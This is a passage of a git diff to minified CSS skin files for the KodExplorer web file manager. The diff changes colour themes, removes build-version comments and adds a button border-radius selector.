.file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #0e9f5d !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#0a7042;}body #body .menu-left,body #body .app-menu-left{background:#0a7042;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#0d9658;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#0e9f5d;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#0c884f;}body #body .main .nav a:hover{background:#ddd;color:#0c884f;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#0c884f;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.8121] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn,body .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#0c884f;color:#fff;}body#page-desktop .topbar{background-color:rgba(12,136,79,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(12,136,79,0.3);}body .topbar{background:#0c884f;}body .topbar .content .topbar-menu{border-color:#0e9f5d;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#0e9f5d;border-color:#0e9f5d;}body .aui-outer{border:0px solid #ccc;*border:1px solid #0d9658;border:1px solid #0d9658 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#0c884f;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#0c884f;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#0e9f5d;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#12ce79;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#10b76b;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#12ce79;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #000000;background-color:#0c884f;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #0e9f5d !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#0a7042;}body #body .menu-left,body #body .app-menu-left{background:#0a7042;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#0d9658;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#0e9f5d;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#0c884f;}body #body .main .nav a:hover{background:#ddd;color:#0c884f;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#0c884f;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/metro_orange.css b/static/style/skin/metro_orange.css index 8eabc80..50faef3 100755 --- a/static/style/skin/metro_orange.css +++ b/static/style/skin/metro_orange.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.918] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#FF8F32;color:#fff;}body#page-desktop .topbar{background-color:rgba(255,143,50,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,143,50,0.3);}body .topbar{background:#FF8F32;}body .topbar .content .topbar-menu{border-color:#ff9d4c;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#ff9d4c;border-color:#ff9d4c;}body .aui-outer{border:0px solid #ccc;*border:1px solid #ff9741;border:1px solid #ff9741 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#FF8F32;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#FF8F32;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#ff9d4c;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#ffb97f;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#ffab65;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#ffb97f;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #984500;background-color:#FF8F32;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #ff9d4c !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#ff8119;}body #body .menu-left,body #body .app-menu-left{background:#ff8119;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#ff9741;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#ff9d4c;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#FF8F32;}body #body .main .nav a:hover{background:#ddd;color:#FF8F32;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#FF8F32;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.918] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn,body .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#FF8F32;color:#fff;}body#page-desktop .topbar{background-color:rgba(255,143,50,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,143,50,0.3);}body .topbar{background:#FF8F32;}body .topbar .content .topbar-menu{border-color:#ff9d4c;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#ff9d4c;border-color:#ff9d4c;}body .aui-outer{border:0px solid #ccc;*border:1px solid #ff9741;border:1px solid #ff9741 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#FF8F32;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#FF8F32;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#ff9d4c;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#ffb97f;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#ffab65;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#ffb97f;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #984500;background-color:#FF8F32;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #ff9d4c !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#ff8119;}body #body .menu-left,body #body .app-menu-left{background:#ff8119;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#ff9741;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#ff9d4c;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#FF8F32;}body #body .main .nav a:hover{background:#ddd;color:#FF8F32;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#FF8F32;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/metro_pink.css b/static/style/skin/metro_pink.css index 4ddf4aa..809d6c5 100755 --- a/static/style/skin/metro_pink.css +++ b/static/style/skin/metro_pink.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.883] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#DC4FAD;color:#fff;}body#page-desktop .topbar{background-color:rgba(220,79,173,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(220,79,173,0.3);}body .topbar{background:#DC4FAD;}body .topbar .content .topbar-menu{border-color:#e064b7;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#e064b7;border-color:#e064b7;}body .aui-outer{border:0px solid #ccc;*border:1px solid #df5cb3;border:1px solid #df5cb3 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#DC4FAD;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#DC4FAD;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#e064b7;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#e98fcb;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#e47ac1;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#e98fcb;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #7a1859;background-color:#DC4FAD;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #e064b7 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#d83aa3;}body #body .menu-left,body #body .app-menu-left{background:#d83aa3;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#df5cb3;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#e064b7;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#DC4FAD;}body #body .main .nav a:hover{background:#ddd;color:#DC4FAD;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#DC4FAD;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.883] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn,body .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#DC4FAD;color:#fff;}body#page-desktop .topbar{background-color:rgba(220,79,173,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(220,79,173,0.3);}body .topbar{background:#DC4FAD;}body .topbar .content .topbar-menu{border-color:#e064b7;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#e064b7;border-color:#e064b7;}body .aui-outer{border:0px solid #ccc;*border:1px solid #df5cb3;border:1px solid #df5cb3 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#DC4FAD;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#DC4FAD;}body .aui-outer 